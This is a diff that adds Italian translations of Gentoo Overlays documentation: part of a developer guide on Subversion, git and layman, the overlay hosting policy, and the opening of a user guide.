+</body>
+</section>
+<section>
+<title>Come iniziare con Subversion</title>
+<body>
+
+<p>
+Il vantaggio di Subversion su CVS include il versioning reale delle directory,
+completo supporto al changeset, ed è molto più semplice eseguire branching
+all'occorrenza. Lo svantaggio principale è che è più lento di CVS, e che un
+controllo locale di Subversion richiede più spazio su disco.
+</p>
+
+<p>
+Se non si ha mai usato Subversion precedenza, il manuale in linea è un buon
+metodo per imparare ad usarlo. È possibile anche comprarlo in formato cartaceo,
+se lo si preferisce.
+</p>
+
+<p>
+Qui di seguito ci sono alcuni comandi di base per iniziare.
+</p>
+
+<pre caption="Effettuare il checkout del proprio overlay">
+svn co https://overlays.gentoo.org/proj/php
+</pre>
+
+<pre caption="Vedere per quali file bisogna fare il commit">
+svn status
+</pre>
+
+<pre caption="Aggiungere un file al proprio overlay">
+svn add my.ebuild
+</pre>
+
+<pre caption="Effettuare il commit dei cambiamenti">
+svn commit -m 'La mia voce di Changelog'
+</pre>
+
+</body>
+</section>
+
+<section>
+<title>Layman</title>
+<body>
+
+<p>
+Si raccomanda ad ogni utente di usare layman per scaricare e gestire il proprio
+overlay. Layman è una utilità scritta da <mail link="wrobel@gentoo.org">Gunnar
+Wrobel</mail> che rende molto semplice lavorare sugli overlay.
+</p>
+
+<p>
+Per iniziare ad usare layman, vedere la <uri
+link="http://layman.sourceforge.net/">documentazione nell'homepage</uri>, la
+<uri link="http://www.gentoo.org/news/it/gwn/20060522-newsletter.xml">Newsletter
+Settimanale Gentoo del 22 Maggio</uri>, o consultare <c>man layman</c>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Auto-Sync da Portage</title>
+<body>
+
+<p>
+I propri pacchetti nell'albero del Portage sono sempre a rischio di essere
+cambiati senza preavviso. I team Arch devono poter associare keyword ai
+pacchetti (e correggere incongruenze specifiche per alcune architetture), il
+team QA deve correggere le violazioni degli standard rilevate, e occasionalmente
+gli sviluppatori modificano pacchetti che non dovrebbero.
+</p>
+
+<p>
+Bisogna essere sicuri che i cambiamenti fatti in Portage non vadano perduti la
+prossima volta che verranno copiati i pacchetti dall'overlay al Portage.
+</p>
+
+<p>
+Il PHP team ha risolto questo problema copiando automaticamente i loro pacchetto
+dal Portage a un branch del loro overlay chiamato 'portage' ogni notte. Ciò
+permette loro di usare Subversion (o la timeline di Trac) per vedere le
+modifiche giornaliere.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Usare git sugli overlay</title>
+<section>
+<title>Inizializzare il proprio overlay</title>
+<body>
+
+<p>
+Prima di fare uploading bisogna creare un repository git locale e copiare in
+esso tutti gli oggetti:
+</p>
+
+<pre caption="spostarsi nel proprio overlay">
+cd ~/my-overlay
+</pre>
+
+<pre caption="create un nuovo repo git">
+git init
+git add .
+git commit -m "popolare l'overlay"
+</pre>
+
+<p>
+Notare che questa operazione è solo locale, e con essa il server inizia ad
+operare.
+</p>
+
+<pre caption="specificare l'url a git">
+git-config remote add origin git+ssh://git@git.overlays.gentoo.org/(proj o dev)/(nome)/
+</pre>
+
+<pre caption="caricare definitivamente i dati">
+git push origin master
+</pre>
+
+<p>
+Sorgente: http://www.kernel.org/pub/software/scm/git/docs/tutorial.html
+</p>
+
+</body>
+</section>
+<section>
+<title>Effettuare il checkout dell'overlay con git</title>
+<body>
+
+<pre caption="clonalo!">
+git clone git://git@git.overlays.gentoo.org/(proj o dev)/(name)/
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Dare ad altri l'accesso al proprio Overlay</title>
+<section>
+<title>Introduzione</title>
+<body>
+
+<p>
+Una delle caratteristiche chiave di o.g.o è che chi non ha accesso in scrittura
+all'albero dei pacchetti del Portage Gentoo può avere accesso in scrittura a uno
+o più overlay. Diversi progetti Gentoo hanno dimostrato che questo è un ottimo
+metodo per valutare potenziali sviluppatori Gentoo in un ambiente sicuro.
+</p>
+
+</body>
+</section>
+<section>
+<title>Overlay dei progetti: come dare accesso in scrittura ai membri del
+team</title>
+<body>
+
+<p>
+Ogni sviluppatore elencato sulla pagina di progetto di un dato team su www.g.o
+può avere accesso in scrittura all'overlay del team. Il capo progetto può
+richiederlo in loro vece, o può farlo ogni sviluppatore per conto proprio.
+</p>
+
+<p>
+Se lo sviluppatore Gentoo non ha ancora un account su o.g.o, lo dovrà richiedere
+scrivendo su #gentoo-overlays in modo che i responsabili possano creare il
+relativo account.
+</p>
+
+</body>
+</section>
+<section>
+<title>Overlay dei progetti: come dare accesso ad altri sviluppatori
+Gentoo</title>
+<body>
+
+<p>
+Ogni sviluppatore Gentoo *non* elencato sulla pagina www.g.o di un dato progetto
+può avere accesso in scrittura all'overlay del team. La richiesta per l'accesso
+in scrittura deve venire da uno dei membri del team. Non è necessario che a
+richiederla sia il capo progetto.
+</p>
+
+<p>
+Se lo sviluppatore non ha ancora un account o.g.o, lo dovrà richiede scrivendo
+su #gentoo-overlays in modo che i responsabili possano creare il relativo
+account.
+</p>
+
+</body>
+</section>
+<section>
+<title>Overlay dei progetti: come dare accesso in scrittura ai semplici utenti
+Gentoo</title>
+<body>
+
+<p>
+Ogni utente Gentoo può avere accesso in scrittura all'overlay di ogni team. La
+richiesta per accesso in scrittura deve arrivare da uno dei capi progetto. È
+possibile richiedere che all'utente venga dato accesso in scrittura a Trac, a
+Subversion, o a entrambi. (Verrà dato per scontato che il diritto di scrittura
+richiesto sia per entrambi, a meno che non venga esplicitamente detto altro).
+</p>
+
+<p>
+Non è possibile accettare richieste di questo tipo da parte di chiunque non sia
+un capo progetto. Se nel proprio progetto ne esiste uno solo, si raccomanda di
+eleggerne un secondo. Se il proprio unico e solo capo è AWOL, considerare la
+possibilità di eleggere un sostituto :)
+</p>
+
+<p>
+Se l'utente non ha ancora un account o.g.o,lo dovrà richiedere scrivendo su
+#gentoo-overlays in modo che i responsabili possano creare il relativo account.
+</p>
+
+</body>
+</section>
+<section>
+<title>Overlay degli sviluppatori: come dare accesso in scrittura ad altri
+sviluppatori Gentoo</title>
+<body>
+
+<p>
+Ogni sviluppatore Gentoo può avere accesso in scrittura al proprio overlay di
+sviluppatore. La richiesta può arrivare direttamente dallo sviluppatore;
+comunque il diritto non sarà concesso fintanto che verrà discussa la cosa con lo
+sviluppatore di riferimento dell'overlay. Anche quest'ultimo può chiedere che
+l'accesso in scrittura sia concesso a ogni sviluppatore noto.
+</p>
+
+<p>
+Se lo sviluppatore non ha ancora un account o.g.o, lo dovrà richiede scrivendo
+su #gentoo-overlays in modo che i responsabili possano creare il relativo
+account.
+</p>
+
+</body>
+</section>
+<section>
+<title>Overlay degli sviluppatori: dare accesso in scrittura a semplici utenti
+Gentoo</title>
+<body>
+
+<p>
+Ogni sviluppatore Gentoo può avere accesso in scrittura al proprio overlay di
+sviluppatore. La richiesta del diritto di accesso in scrittura deve venire da
+parte dello sviluppatore stesso. Si potrà richiedere che all'utente sia dato
+accesso in scrittura solo a Trac, solo a Subversion, o a entrambi. (Verrà dato
+per scontato che il diritto di scrittura richiesto sia per entrambi, a meno che
+non venga esplicitamente detto altro).
+</p>
+
+<p>
+Non è possibile accettare richieste di questo tipo da nessun altro tranne lo
+sviluppatore di riferimento dell'overlay. Se si vede chiaramente che si stanno
+concedendo accessi a molte altre persone, può essere che sia il caso di
+considerare il lancio di un nuovo progetto e trasferire il proprio lavoro lì.
+</p>
+
+<p>
+Se l'utente non ha ancora un account o.g.o, lo dovrà richiedere scrivendo su
+#gentoo-overlays in modo che i responsabili possano creare il relativo account.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Come accedere all'Overlay di qualcun'altro</title>
+<section>
+<title>Usare un'Overlay</title>
+<body>
+
+<p>
+Chiunque ha accesso in lettura a qualsiasi overlay. Si raccomanda di usare
+</p>
+
+<pre caption="Installate layman">
+emerge layman
+echo 'source /usr/portage/local/layman/layman.conf' &gt;&gt; /etc/make.conf
+</pre>
+
+<note>
+Layman creerà "/usr/portage/local/layman/make.conf" una volta aggiunto il primo
+overlay. Ma se non si pensa di installare immediatamente un'overlay, assicurarsi
+che questo file esista e contenga la variabile vuota "PORTDIR_OVERLAY".
+Altrimenti portage segnalerà un errore. È possibile lanciare "echo
+PORTDIR_OVERLAY=\"\" >/usr/portage/local/layman/make.conf" in maniera da creare
+correttamente il file.
+</note>
+
+<p>
+Dopo, per vedere la lista di tutti gli overlay, digitare
+</p>
+
+<pre caption="Elencare gli overlay noti a layman">
+layman -L
+</pre>
+
+<p>
+Per installare un overlay, digitare
+</p>
+
+<pre caption="Installare un overlay">
+layman -a &lt;overlay-name&gt;
+</pre>
+
+<p>
+Dopodiché sarà possibile installare pacchetti provenienti dall'overlay scelto.
+</p>
+
+</body>
+</section>
+<section>
+<title>Come richiedere l'accesso in scrittura</title>
+<body>
+
+<p>
+Se si desidera l'accesso in scrittura ad un overlay di progetto, contattare un
+membro del team di progetto, e chiedergli il permesso.  Se la propria richiesta
+sarà approvata, provvederanno loro a dare l'accesso in scrittura, contattando il
+team Overlays.
+</p>
+
+<p>
+Se si desidera accedere all'overlay di uno sviluppatore, contattarlo
+direttamente. Se la propria richiesta sarà approvata, provvederà lui a fornire
+l'accesso in scrittura, contattando il team Overlays.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Domande frequenti (FAQ)</title>
+<section>
+<title>Amministrazione o.g.o</title>
+<body>
+
+<p>
+D: Come posso contattare lo staff admin di o.g.o?
+</p>
+
+<ul>
+  <li>
+    R: Puoi entrare in #gentoo-overlays su IRC, e parlare con loro lì. Lo staff
+    attuale proviene per la maggior parte da zone con fusi orari europei..
+  </li>
+  <li>
+    R: Puoi mandare una email a overlays@gentoo.org. Qualcuno ti risponderà il
+    prima possibile.
+  </li>
+</ul>
+
+<p>
+D: Perché non posso modificare la lista di controllo degli accessi direttamente?
+</p>
+
+<ul>
+  <li>
+    R: (SVN) La lista di controllo degli accessi risiede attualmente in formato
+    htpasswd. Solo lo staff admin di o.g.o ha accesso tramite ssh alla box
+    o.g.o.
+  </li>
+  <li>
+    R: (Git) La lista di controllo degli accessi risiede attualmente nel
+    repository gitosis-admin, scrivibile solamente dallo staff di o.g.o.
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Sicurezza</title>
+<body>
+
+<p>
+D: Si puo accedere al mio overlay via https?
+</p>
+
+<ul>
+  <li>R: Si, si può.</li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Overlay multipli</title>
+<body>
+
+<p>
+D: Posso avere più di un overlay?
+</p>
+
+<ul>
+  <li>
+    R: Si, in una certa maniera. All'interno del proprio overlay, è possibile
+    creare sub-directory, e mettere alberi di pacchetti all'interno di esse. Si
+    consiglia osservate l'overlay del progetto PHP per avere un esempio.
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Importare Overlay preesistenti</title>
+<body>
+
+<p>
+D: Io ho già un overlay, e vorrei spostarlo sotto o.g.o. Come devo procedere?
+</p>
+
+<ul>
+  <li>
+    R: Creare un tarball del proprio repository subversion, e renderlo
+    disponibile  allo scaricamento tramite http da qualche parte. Verrà
+    scaricato ed installato dal team Overlays su o.g.o .
+  </li>
+</ul>
+
+<note>
+Assicurarsi di archiviare tutto il proprio repository, e non un checkout!
+</note>
+
+<p>
+D: Io ho un overlay, ma non uso Subversion. Cosa devo fare per spostarlo sotto
+o.g.o?
+</p>
+
+<ul>
+  <li>
+    R: Chiede al team Overlays di creare un nuovo overlay vuoto. A questo punto
+    si può usare 'svn import' per importare i propri file nel nuovo overlay.
+    Si perderà la propria storia, ma non è possibile fare altrimenti.
+  </li>
+  <li>
+    R: Cercare su internet, e vedere se esiste uno strumento per convertire il
+    proprio software di controllo versioni a Subversion. Se esiste usarlo, e
+    successivamente il team Overlays potrò dare una mano a spostare tutto su
+    o.g.o.
+  </li>
+  <li>
+    R: Se il proprio software di controllo versioni è usato da Trac, e può
+    essere usata su HTTP, aiutare il team Overlays a creare un supporto per esso
+    su o.g.o.
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Overlay "ufficiali"</title>
+<body>
+
+<p>
+D: Quando un overlay è considerato "ufficiale"?
+</p>
+
+<ul>
+  <li>
+    R: Un overlay "ufficiale" è un overlay gestito da un progetto Gentoo (per
+    overlay dei progetti) o da uno sviluppatore Gentoo (per overlay degli
+    sviluppatori).
+  </li>
+</ul>
+
+<p>
+D: Un overlay deve essere su o.g.o per essere "ufficiale"?
+</p>
+
+<ul>
+  <li>R: No.</li>
+</ul>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/it/overlays/policy.xml b/xml/htdocs/proj/it/overlays/policy.xml
new file mode 100644
index 00000000..f0418ac3
--- /dev/null
+++ b/xml/htdocs/proj/it/overlays/policy.xml
@@ -0,0 +1,538 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/overlays/policy.xml,v 1.2 2008/10/29 19:39:35 scen Exp $ -->
+
+<guide link="/proj/it/overlays/policy.xml" lang="it">
+<title>Politiche dei Gentoo Overlay</title>
+
+<author title="Autore">
+  <mail link="stuart">Stuart Herbert</mail>
+</author>
+<author title="Autore">
+  <mail link="jokey">Markus Ullmann</mail>
+</author>
+<author title="Autore">
+  <mail link="robbat2">Robin H. Johnson</mail>
+</author>
+<author title="Traduzione">
+  <mail link="magowiz@gmail.com">Marcello Magaldi</mail>
+</author>
+
+<abstract>
+Questo è il documento delle politiche che regola il servizio degli Overlay Gentoo.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>Draft 2.1</version>
+<date>2008-10-12</date>
+
+<chapter>
+<title>Introduzione</title>
+<section>
+<body>
+
+<p>
+Qui vi sono le policy del servizio overlays.g.o.  Se si ospita un overlay su
+overlays.g.o, o se si partecipa all'amministrazione di overlays.g.o, bisogna
+seguire queste policy.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Che cos'è il servizio Overlays.g.o?</title>
+<section>
+<body>
+
+<p>
+Il servizio overlays.g.o fornisce un workspace sociale, per progetti Gentoo e
+sviluppatori per permettergli di pubblicare i propri overlay di pacchetti Gentoo
+in un posto, dove è facile per sviluppatori e non sviluppatori di collaborare.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Tipi di Overlay</title>
+<section>
+<body>
+
+<p>
+overlays.g.o ospita due tipi di overlay:
+</p>
+
+<ul>
+  <li>overlay per team di progetti Gentoo</li>
+  <li>overlay per sviluppatori Gentoo individuali</li>
+  <li>overlay per i progetti Gentoo summer of code</li>
+  <li>overlay per altri progetti esterni specifici per Gentoo</li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Overlay di Progetto</title>
+<body>
+
+<p>
+Gli "overlay di Progetto" sono overlay posseduti da team di progetto Gentoo
+riconosciuti. E' necessario che questi team corrispondano alla definizione di
+progetto che si può trovare nel nostro documento di metastruttura.
+</p>
+
+<p>
+Gli "overlay di Progetto" avranno lo stesso nome del team di progetto Gentoo. Ad
+ogni progetto è concesso un singolo overlay.
+</p>
+
+<p>
+Per quanto concerne queste politiche, gli overlay di progetto sono di proprietà
+del(degli) capo(i) eletto(i) del progetto.
+</p>
+
+</body>
+</section>
+<section>
+<title>Overlay dello Sviluppatore</title>
+<body>
+
+<p>
+Gli "overlay dello sviluppatore" sono overlay di proprietà di singoli
+sviluppatori Gentoo. Questi sono gli sviluppatori che hanno passato i quiz degli
+sviluppatori Gentoo, e a cui è stato data la possibilità di effettuare commit al
+package tree principale di Gentoo.
+</p>
+
+<p>
+Ogni "overlay dello sviluppatore" avrà lo stesso nome dello sviluppatore che lo
+possiede. Ad ogni sviluppatore è concesso un singolo overlay.
+</p>
+
+<p>
+Per quanto concerne queste politiche, gli overlay degli sviluppatori sono di
+proprietà dei singoli sviluppatori che ne hanno fatto richiesta.
+</p>
+
+</body>
+</section>
+<section>
+<title>Overlay del Summer of Code</title>
+<body>
+
+<p>
+Gli "overlay del Summer of Code" sono overlay che sono stati creati per
+l'apposito scopo di ospitare lo sviluppo di un progetto Google Summer of
+Code (SoC) per Gentoo.
+</p>
+
+ <p>
+Ogni "overlay SoC" sarà nominato per il progetto Soc. Molti overlay possono
+esistere se necessari al progetto.
+</p>
+
+<p>
+Per quanto concerne queste politiche, gli overlay SoC sono di proprietà dello
+studente Soc.
+</p>
+
+</body>
+</section>
+<section>
+<title>Overlay Esterni Specifici per Gentoo</title>
+<body>
+
+<p>
+TODO (ndt "da scrivere")
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Responsabilità</title>
+<section>
+<body>
+
+<ol>
+  <li>
+    I membri del team infrastruttura sono responsabili della piattaforma
+    (hardware + SO) su cui è ospitato overlays.g.o.
+  </li>
+  <li>
+    Il team del progetto overlay è responsabile dell'amministrazione del
+    servizio overlays.g.o, inclusa la responsabilità del software utilizzato per
+    fornire il servizio (es. svn, trac, git, gitweb)
+  </li>
+  <li>
+    I possessori di overlay sono responsabili dei contenuti dei propri overlay,
+    e della condotta di chiunque abbia l'accesso al commit ai propri overlay.
+  </li>
+  <li>
+    Ogni singola persona che effettui commit a un overlay è responsabile per le
+    proprie azioni.
+  </li>
+</ol>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Creazione di Overlay</title>
+<section>
+<body>
+
+<p>
+Gli overlay sono creati in base alla richiesta di chiunque sarà il possessore
+dell'overlay.
+</p>
+
+<p>
+Gli overlay sono opzionali; a nessuno sviluppatore Gentoo è richiesto di
+predisporre un overlay.
+</p>
+
+<p>
+Gli sviluppatori Gentoo sono liberi di ospitare i propri overlay altrove.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Accesso Commit agli Overlay</title>
+<section>
+<body>
+
+<p>
+Per essere chiari:
+</p>
+
+<ul>
+  <li>
+    Uno "sviluppatore" è qualcuno che ha l'accesso commit al package tree
+    principale di Gentoo.
+  </li>
+  <li>
+    Un "non-sviluppatore" è chiunque non abbia l'accesso commit al package tree
+    principale di Gentoo. Ciò include altri membri dello staff di Gentoo.
+  </li>
+</ul>
+
+<p>
+Overlay di Progetto:
+</p>
+
+<ul>
+  <li>
+    Ogni sviluppatore elencato nella pagina del team del progetto può avere
+    l'accesso commit all'(agli) overlay di quel team. Chiedere al team di
+    amministratori dell'overlay per ottenere l'accesso.
+  </li>
+  <li>
+    Ogni sviluppatore non elencato nella pagina del team del progetto può avere
+    l'accesso commit, se ha il consenso di uno dei membri del team del progetto.
+  </li>
+  <li>
+    Ogni "non sviluppatore" può avere l'accesso commit all'overlay di un team.
+    La richiesta dell'accesso deve pervenire dal proprietario dell'overlay.
+  </li>
+</ul>
+
+<p>
+Overlay dello Sviluppatore:
+</p>
+
+<ul>
+  <li>
+    Ogni sviluppatore Gentoo può richiedere l'accesso commit, se ha il consenso
+    del proprietario dell'overlay.
+  </li>
+  <li>
+    Ogni "non sviluppatore" può avere l'accesso commit a un overlay di uno
+    sviluppatore. La richiesta di accesso deve pervenire dal proprietario
+    dell'overlay.
+  </li>
+</ul>
+
+<p>
+overlay SoC:
+</p>
+
+<ul>
+  <li>Allo studente mentore SoC e allo studente sarà fornito l'overlay.</li>
+  <li>
+    Ogni "non-sviluppatore" può avere l'accesso in commit a un overlay SoC. La
+    richiesta di accesso può pervenire dallo studente SoC o dal suo mentore.
+  </li>
+</ul>
+
+<p>
+Overlay Esterni:
+</p>
+
+<ul>
+  <li>TODO (ndt "da scrivere")</li>
+</ul>
+
+<p>
+Prerequisiti comuni per i "Non-Sviluppatori"
+</p>
+
+<ul>
+  <li>
+    Al "non-sviluppatore" è richiesto di aver registrato il proprio nickname su
+    Freenode IRC, e deve fornire un indirizzo email valido per la nostra banca
+    dati.
+  </li>
+  <li>
+    Se si è un non-sviluppatore, si prega di non richiedere direttamente
+    l'accesso al team dell'overlay, poiché un rifiuto spesso offende.
+  </li>
+</ul>
+
+<note>
+Con trac e svn, è possibile garantire l'accesso commit separatamente a trac (es
+: il wiki), e a svn.
+</note>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Regole Generali per gli Overlay</title>
+<section>
+<body>
+
+<p>
+Stiamo cercando deliberatamente di mantenere ridotte al minimo le regole sugli
+overlay. Si prega di non abusare del servizio e di non costringerci ad
+aggiungere più regole :(
+</p>
+
+</body>
+</section>
+<section>
+<title>Cosa si può e cosa non si può salvare su overlays.g.o</title>
+<body>
+
+<p>
+overlays.g.o è fatto per ospitare package tree, le loro patch, qualsiasi
+documento, e ogni tarball scaricabile che non sono (e non possono essere)
+ospitati altrove.
+</p>
+
+<p>
+TODO: Scrivere che è consentito ad $UPSTREAM l'hosting per pacchetti specifici
+per Gentoo e relativi a Gentoo.
+</p>
+
+</body>
+</section>
+<section>
+<title>Gli Overlay sono Pubblici</title>
+<body>
+
+<p>
+Non ci sono overlay "segreti".
+</p>
+
+<p>
+Tutti gli overlay sono elencati nella pagina principale di overlays.g.o, e
+chiunque è libero di scaricare i contenuti di un overlay.
+</p>
+
+<p>
+Se si ha bisogno di un overlay segreto, noi non siamo il servizio adatto.
+</p>
+
+</body>
+</section>
+<section>
+<title>Bug Tracking</title>
+<body>
+
+<p>
+bugs.g.o è il OneTrueBugTrackingSystem(tm) (ndt : l'unico vero bug tracking
+system), perfino per gli overlay.
+</p>
+
+</body>
+</section>
+<section>
+<title>Spostare i Contributi dagli Overlay al Portage Tree</title>
+<body>
+
+<p>
+Non impostare nulla che effettui automaticamente il commit dei contenuti di un
+overlay al package tree principale di Gentoo. Mai.
+</p>
+
+<p>
+Tutto il codice che viene preso da un overlay e che poi ne venga fatto il commit
+al package tree principale di Gentoo è necessario che venga prima completamente
+revisionato. Come persona che effettua il commit al main tree, è <e>propria</e>
+responsabilità assicurarsi che il codice sia conforme agli standard richiesti.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Amministrazione degli Overlay</title>
+<section>
+<body>
+
+<p>
+Solo il team di amministrazione di overlays.g.o (elencato nella pagina del
+progetto overlay) ha l'accesso shell alla macchina overlays.g.o. Attualmente, la
+gestione degli account (inclusa la reimpostazione delle password) deve essere
+fatta attraverso il team di amministrazione degli overlay.
+</p>
+
+<p>
+Se si ha bisogno di fare qualsiasi cosa al proprio overlay (aggiungere/rimuovere
+un utente per esempio), si prega di chiedere su #gentoo-overlays, e qualcuno vi
+aiuterà appena possibile.
+
+</p>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Rimozione degli Overlay</title>
+<section>
+<body>
+
+<p>
+Gli Overlay possono essere rimossi a discrezione del team di amministrazione
+degli overlay. Tranne circostanze eccezionali, rimuoveremo gli overlay
+unicamente per le seguenti ragioni:
+</p>
+
+<ul>
+  <li>Gli overlay dei Progetti saranno rimossi se il progetto chiude.</li>
+  <li>
+    Gli overlay degli sviluppatori saranno rimossi quando il proprietario si
+    ritira.
+  </li>
+</ul>
+
+<p>
+Le Circostanze Eccezionali possono includere:
+</p>
+
+<ul>
+  <li>
+    Denunce da altri sviluppatori circa i contenuti di un overlay che causino
+    problemi a pacchetti nel main tree.
+  </li>
+  <li>
+    Denunce da altri sviluppatori circa i conteunti di un overlay che creino
+    rischi di sicurezza ai nostri utenti.
+  </li>
+</ul>
+
+<p>
+Tutte le circostanze eccezionali saranno discusse su gentoo-dev prima che
+qualsiasi azione sia intrapresa.
+</p>
+
+<impo>
+Gli overlay sono posti dove cambiamenti sperimentali possono essere fatti e
+testati. Si prega di assicurarsi di aver compreso perché le cose sono come sono
+in un overlay prima di lamentarsi su ciò che sta succedendo!
+</impo>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Restrizioni su Nuovo Software</title>
+<section>
+<body>
+
+<p>
+Noi vogliamo sempre ascoltare le richieste di molti software che potremmo
+offrire come parte del servizio. Si prega di tenere a mente che abbiamo bisogno
+di mantenere il numero di software offerto al minimo, per ridurre il carico di
+lavoro del team di amministrazione degli overlay.
+</p>
+
+<p>
+Ogni nuovo software aggiunto al servizio dovrà *come minimo* essere conforme ai
+seguenti requisiti. Si prega di non chiedere un software finché non si è
+controllato e assicurati che sia conforme ai requisiti.
+</p>
+
+<ul>
+  <li>Deve esserci un pacchetto funzionante per il software nel Portage.</li>
+  <li>Il pacchetto deve avere un maintainer attivo.</li>
+  <li>
+    Il pacchetto deve avere una "credibile" storia di sicurezza alle spalle. In
+    particolare, pacchetti che hanno bisogno di aggiornamenti regolari per
+    tappare buchi di sicurezza saranno probabilmente respinti.
+  </li>
+  <li>
+    Se il pacchetto fornisce un sistema di bug-tracking, deve essere possibile
+    disabilitare il sistema di bug-tracking.
+  </li>
+</ul>
+
+<p>
+L'unico accesso consentito a overlays.g.o è mediante questi due meccanismi:
+</p>
+
+<ol>
+  <li>HTTP/HTTPS e Apache</li>
+  <li>Con Gitosis tramite SSH per gli overlay Git</li>
+</ol>
+
+<p>
+Il meccanismo di sicurezza per overlays.g.o è mediante l'autenticazione base di
+HTTP, su SSL. Noi usiamo sia il file htpasswd che htgroup per gestire chi può
+fare il commit e dove.
+</p>
+
+<p>
+Un pacchetto può avere un controllo più accurato mediante i propri meccanismi di
+sicurezza (es. lista di permessi di trac), ma il pacchetto deve essere
+compatibile con questi accessi e queste restrizioni di sicurezza.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Errori e Omissioni</title>
+<section>
+<body>
+
+<p>
+Se si trova un errore in queste politiche, si prega di aprire un bug su
+bugs.g.o, e assegnarlo a overlays@gentoo.org.
+</p>
+
+<p>
+Tutti i cambiamenti nelle politiche saranno prima postati su gentoo-dev per
+essere discussi.
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/it/overlays/userguide.xml b/xml/htdocs/proj/it/overlays/userguide.xml
new file mode 100644
index 00000000..d6b9db1f
--- /dev/null
+++ b/xml/htdocs/proj/it/overlays/userguide.xml
@@ -0,0 +1,353 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/overlays/userguide.xml,v 1.6 2010/08/09 19:44:35 scen Exp $ -->
+
+<guide lang="it">
+<title>Overlay Gentoo: Guida per gli Utenti</title>
+
+<author title="Autore">
+  <mail link="stuart"/>
+</author>
+<author title="Autore">
+  <mail link="jokey"/>
+</author>
+<author title="Redazione">
+  <mail link="nightmorph"/>
+ </author>
+<author title="Traduzione">
+  <mail link="magowiz@gmail.com">Marcello Magaldi</mail>
+</author>
+
+<abstract>
+Questa guida aiuta gli utenti a capire come usare il servizio di Overlay di
+Gentoo
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.2</version>
+<date>2010-07-13</date>
+
+<chapter>
+<title>Introduzione</title>
+<section>
+<title>Destinatari</title>
+<body>
+
+<p>
+Questo documento è stato scritto per tutti gli utenti di Gentoo. Se si è uno
+sviluppatore Gentoo o un membro dello staff Gentoo, e si vuole essere in grado
+di gestire il proprio overlay, si prega di consultare la <uri
+link="/proj/it/overlays/devguide.xml">Guida per gli Sviluppatori</uri>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Cosa sono gli Overlay?</title>
+<body>
+
+<p>
+Gli "Overlay" sono insiemi di pacchetti per Portage, che contengono ebuild
+addizionali per Gentoo. Sono gestiti da sviluppatori e progetti Gentoo, ma sono
+distribuiti separatamente dall'albero principale di Portage.
+</p>
+
+</body>
+</section>
+<section>
+<title>Perché utilizzare gli Overlay?</title>
+<body>
+
+<p>
+La gente crea gli overlay per tutta una serie di ragioni. Le principali sono:
+</p>
+
+<ul>
+  <li>
+    Se si modifica un'ebuild in <path>/usr/portage</path>, i propri cambiamenti
+    andranno persi la prossima volta che verrà eseguito un <c>emerge --sync</c>.
+    Ma, se si mette la propria ebuild modificata in un overlay, i propri
+    cambiamenti saranno al sicuro da <c>emerge --sync</c>.
+  </li>
+  <li>
+    Siccome gli overlay non sono l'insieme dei pacchetti principale, sono un
+    posto grandioso per sviluppare e testare ebuild senza la paura di "rompere"
+    l'albero dei pacchetti principale di Gentoo Portage.
+  </li>
+  <li>
+    Non tutte le ebuild sono contenute nell'albero dei pacchetti di Gentoo
+    Portage. Un overlay è un posto fantastico per salvare un'ebuild finché non
+    sarà pronta per essere inclusa nell'albero dei pacchetti di Gentoo Portage.
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Cos'è il Progetto Overlay Gentoo?</title>
+<body>
+
+<p>
+Gli Overlay di Gentoo forniscono spazi di lavoro sociali per permettere ai
+progetti di Gentoo, agli sviluppatori e agli utenti di collaborare insieme nei
+pacchetti Gentoo di domani. Ciò è fatto ospitando gli overlay per i progetti
+Gentoo, per gli sviluppatori e per gli utenti.
+</p>
+
+</body>
+</section>
+<section>
+<title>Tutti gli overlay ufficiali sono ospitati su overlays.gentoo.org?</title>
+<body>
+
+<p>
+No. Gli sviluppatori Gentoo sono liberi di mettere i propri overlay dovunque
+vada loro bene; non sono obbligati a usare overlays.gentoo.org se non vogliono.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Primi passi con gli Overlay</title>
+<section>
+<body>
+
+<p>
+Utilizzare <c>layman</c> per installare e aggiornare nel tempo gli
+overlay in modo semplice.
+</p>
+
+</body>
+</section>
+<section>
+<title>Installare Layman</title>
+<body>
+
+<p>
+Per installare <c>layman</c>, seguire questa procedura:
+</p>
+
+<pre caption="Installare layman">
+<i>emerge layman</i>
+</pre>
+
